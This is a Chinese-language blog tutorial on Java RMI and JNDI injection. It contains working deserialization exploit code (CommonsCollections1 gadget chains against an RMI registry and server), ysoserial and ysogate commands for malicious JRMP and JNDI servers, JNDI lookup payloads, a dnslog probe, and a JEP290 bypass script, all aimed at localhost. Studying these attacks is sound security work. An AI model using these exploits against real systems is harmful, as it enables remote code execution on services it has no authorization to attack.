首页 > 其他分享 >JNDI注入

JNDI注入

时间:2025-01-18 18:53:58浏览次数:1  
标签:java public JNDI new import rmi class 注入

RMI

RMI 全称 Remote Method Invocation(远程方法调用),即在一个 JVM 中 Java 程序调用在另一个远程 JVM 中运行的 Java 程序,这个远程 JVM 既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。

RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol,Java 远程消息交换协议),该协议为 Java 定制,要求服务端与客户端都为 Java 编写。

RMI包括以下三个部分:Server,Client,Registery.
这三者之间的通信方式大概如下.
image

简单来说就是Server将一个类绑定到Registery上,Client通过查询Registery的表项(字符串)来发出请求,然后Server将查询的类序列化以后返回.客户端有每个类对应的接口(被成为代理),可以对返回的序列化结果去反序列化.
下面是一个小的demo.
Server端
RemoteObj.java

public interface RemoteObj extends Remote {  
  
    public String sayHello(String keywords) throws RemoteException;  
}

RemoteObjImp.java

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj { 
  
    public RemoteObjImpl() throws RemoteException {  
    //    UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出  
 }  
  
    @Override  
 public String sayHello(String keywords) throws RemoteException {  
        String upKeywords = keywords.toUpperCase();  
 System.out.println(upKeywords);  
 return upKeywords;  
 }  
}

RMIServer.java

public class RMIServer {  
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {  
        // 实例化远程对象  
 RemoteObj remoteObj = new RemoteObjImpl();  
 // 创建注册中心  
 Registry registry = LocateRegistry.createRegistry(1099);  
 // 绑定对象示例到注册中心  
 registry.bind("remoteObj", remoteObj);  
 }  
}

Server端
RemoteObj.java

public interface RemoteObj extends Remote {  
  
    public String sayHello(String keywords) throws RemoteException;  
}

RMIClient.java

public class RMIClient {  
    public static void main(String[] args) throws Exception {  
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);  
 RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");  
 remoteObj.sayHello("hello");  
 }  
}

上面就是一个rmi进行通信的典型例子.
针对rmi的攻击一共有三种情况:Client攻击Registery,Client攻击Server和攻击Client.

Client攻击Registery

在与Registery进行交互的时候一共有下面的几种方法:

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind
    其中除了list以外,都有触发readObject的过程,都可以用来进行反序列化攻击.
    以上面的rmi语法实验环境为例,在pom.xml中引入commons-collections3.2.1依赖,来进行测试,通过cc1来执行命令.
    创建一个bind的Client服务
package Client;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler = (InvocationHandler) CC1();
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
        registry.bind("test",remote);
    }

    public static Object CC1() throws Exception{
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", ""); //解释二
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
		/*
		AnnotationInvocationHandler
		*/
        return poc;
    }
}

成功弹出计算器.
rebind的攻击方式也如上,而lookup由于参数只能传入字符串,我们需要去通过反射去修改他的代码去完成攻击.

package Client;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
import Server.RemoteObj;

public class AttackRegistryEXP {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler handler = (InvocationHandler) CC1();
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

        Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        fields_0[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

        //获取operations

        Field[] fields_1 = registry.getClass().getDeclaredFields();
        fields_1[0].setAccessible(true);
        Operation[] operations = (Operation[]) fields_1[0].get(registry);

        // 伪造lookup的代码,去伪造传输信息
        RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);
    }

    public static Object CC1() throws Exception{
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", ""); //解释二
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解释一
		/*
		AnnotationInvocationHandler
		*/
        return poc;
    }
}
攻击Client

由于Server中的服务程序是封装的,也就是Client在调用的时候不知道究竟服务端发生了什么,所以要是能控制服务端的话可以随意对Client进行攻击.
本地起一个ysoserial去打cc5

java -cp .\ysoserial-all.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

在Client进行访问可以直接的执行命令.

import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
 
public class Client {
    public static void main(String[] args) throws RemoteException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();
    }
}
Client攻击Server

这个也很好理解.比如Client要在Server中去执行一个含参数的方法,方法的参数是一个对象.那么处理方式必然是Client将对象序列化,传递给Server去反序列化,然后将恢复的对象作为参数传入去执行方法,然后将方法的执行结果在序列化后返回给Client.那么在Server中去进行反序列化的过程中,就会触发攻击.来看一个demo.
Server代码

import java.rmi.Naming;  
import java.rmi.RemoteException;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.server.UnicastRemoteObject;  
  
public class VictimServer {  
    public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {  
        protected RemoteHelloWorld() throws RemoteException {  
            super();  
 }  
  
        public String hello() throws RemoteException {  
            System.out.println("调用了hello方法");  
 return "Hello world";  
 }  
  
        public void evil(Object obj) throws RemoteException {  
            System.out.println("调用了evil方法,传递对象为:"+obj);  
 }  
  
        @Override  
 public String sayHello(String keywords) throws RemoteException {  
            return null;  
 }  
    }  
    private void start() throws Exception {  
        RemoteHelloWorld h = new RemoteHelloWorld();  
 LocateRegistry.createRegistry(1099);  
 Naming.rebind("rmi://127.0.0.1:1099/Hello", h);  
 }  
  
    public static void main(String[] args) throws Exception {  
        new VictimServer().start();  
 }  
}

Client代码

import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
 
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;
 
public class RMIClient {
    public static void main(String[] args) throws Exception {
        IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
        r.evil(getpayload());
    }
 
    public static Object getpayload() throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
 
        Map map = new HashMap();
        map.put("value", "lala");
        Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
 
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, transformedMap);
        return instance;
    }
 
}

也是成功的执行命令了.

JNDI

JNDI 全称为 Java Naming and Directory Interface,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。

jndi 在 jdk 里面支持以下四种服务

  • LDAP:轻量级目录访问协议
  • 通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
  • Java 远程方法调用(RMI) 注册表
  • DNS 服务
    看一下JNDI注入的攻击流程图
    image
JNDI+RMI实现攻击

使用ysogate去起一个server.

java -jar .\ysogate-0.4.0-all.jar -m jndi

然后本地去模拟一个Client.

package org.example;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIClient {
    public static void main(String[] args) throws NamingException {
        new InitialContext().lookup("rmi://127.0.0.1:1099/Basic/Command/calc");
    }
}

image

JNDI+LDAP实现攻击

使用ysogate去起一个server.

java -jar .\ysogate-0.4.0-all.jar -m jndi

然后本地去模拟一个Client.

package org.example;  
  
import javax.naming.InitialContext;  
import javax.naming.NamingException;  
  
public class JNDIClient {  
    public static void main(String[] args) throws NamingException {  
        new InitialContext().lookup("ldap://127.0.0.1:1389/Basic/Command/calc");  
    }  
}

image

成功的执行命令.

JNDI+DNS实现探测

可以用来探测是否存在JNDI注入漏洞.

import javax.naming.InitialContext;  
import javax.naming.NamingException;  
  
public class JNDIClient {  
    public static void main(String[] args) throws NamingException {  
        new InitialContext().lookup("dns://551790c8.log.dnslog.sbs.");  
    }  
}

image
成功的构成DNS外带.

JEP290

先看一个图
image

大体反应出一个问题,就是在高版本的一些版本中,ldap是能打的,但是rmi打不了了.其原因就是java引入了JEP290防御机制,通过引入了白名单来限制反序列化.

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

因此可以在JRMP层去进行绕过.贴一个网上的脚步吧,也是打通了.

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class BypassJEP290 {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

然而目前没有看到这个bypass的作用,因为这是在client的bypass,然而client端在jndi注入中不可控.

标签:java,public,JNDI,new,import,rmi,class,注入
From: https://www.cnblogs.com/meraklbz/p/18678722

相关文章

  • winform使用依赖注入框架Autofac的一些记录
    由于winform的framework框架无法实现core那样的依赖注入,必须借助于依赖注入框架来实现。此次使用Autofac,由于DAL被BLL引用,而BLL又被主程序引用,所以在framework里要实现依赖注入,主程序必须引用DAL和BLL,才可以在主程序里面对DAL和BLL进行注册,这又违背了解耦的原则,所以只能在BLL和主......
  • 某公交管理系统简易逻辑漏洞+SQL注入挖掘
    某公交管理系统挖掘SQL注入漏洞前台通过给的账号密码,进去按顺序依次点击1、2、3走一遍功能点,然后开启抓包点击4当点击上图的4步骤按钮时,会抓到图下数据包,将其转发到burp的重放模块构造以下注入poc,可见注入延时了五秒,用户输入的语句成功拼接到原有的SQL语句上执行了下面的......
  • 漏洞预警 | 明源地产ERP SQL注入漏洞
    0x00漏洞编号暂无0x01危险等级高危0x02漏洞概述明源地产ERP是一款专为房地产行业设计的企业资源计划管理系统,致力于为房地产开发企业提供全面的管理解决方案。0x03漏洞详情漏洞类型:SQL注入影响:获取敏感信息简述:明源地产ERP系统的X-Forwarded-For头部存在SQL注......
  • 漏洞预警 | CraftCMS模板注入漏洞
    0x00漏洞编号CVE-2024-561450x01危险等级高危0x02漏洞概述        CraftCMS是一个灵活的、易于使用的内容管理系统。0x03漏洞详情CVE-2024-56145漏洞类型:模板注入影响:执行任意代码简述:CraftCMS存在模板注入漏洞,若开启了PHP配置中的register_argc_arg......
  • 超越 RAG:Memobase 为 AI 应用注入长期记忆丨社区来稿
    本文由RTE开发者社区成员通过社区网站投稿提供,如果你也有与实时互动(Real-TimeEngagement,RTE)相关的项目分享,欢迎访问网站rtecommunity.dev发布,优秀项目将会在公众号发布分享。目录什么是AI记忆? AI记忆的类型 短记忆vs.长记忆UserMemoryvs.AgentMemory:两种......
  • SQL注入(非常详细)零基础入门到精通,收藏这一篇就够了
    前言之前一直有粉丝朋友,在挖漏洞过程中使用到SQL注入,希望大白给他讲解一些的SQL注入,今天大白也特地给粉丝朋友安排好了SQL注入攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。可显注入攻击者可以直接在当前界面内容中获取想要获得的内......
  • 【Maldev】Early Bird 注入
    一、介绍QueueUserAPC 用于执行本地APC注入,APC注入利用需要一个已挂起或可警报的线程才能成功执行Payload。但是很难碰到处于这些状态的线程,尤其是以普通用户权限运行的线程,而EarlyBird注入则是利用CreateProcess WinAPI创建一个挂起的进程,并使用其挂起线程的句柄。挂起......
  • JNDI注入
    RMIRMI全称RemoteMethodInvocation(远程方法调用),即在一个JVM中Java程序调用在另一个远程JVM中运行的Java程序,这个远程JVM既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。RMI依赖的通信协议为JRMP(JavaRemoteMessageProtocol,Java......
  • Java中的依赖注入是什么?它如何工作?
    目录什么是依赖注入依赖注入的工作原理使用场景总结在Java开发中,依赖注入(DependencyInjection,DI)是一种重要的设计模式,它能够有效地减少代码之间的耦合度,提高代码的可测试性、可维护性和扩展性。以下是对Java中的依赖注入及其工作原理和使用场景的详细解释,并结合具......
  • Java开发防止SQL注入攻击
    在Java编程过程中,防止SQL注入攻击是非常重要的安全措施。以下是常用的防注入攻击措施及其原理:1.使用预编译语句(PreparedStatement)原理:PreparedStatement是JDBC提供的一种接口,它允许SQL语句在执行前被预编译。通过使用占位符?来代替参数值,并在执行时动态设置这些参......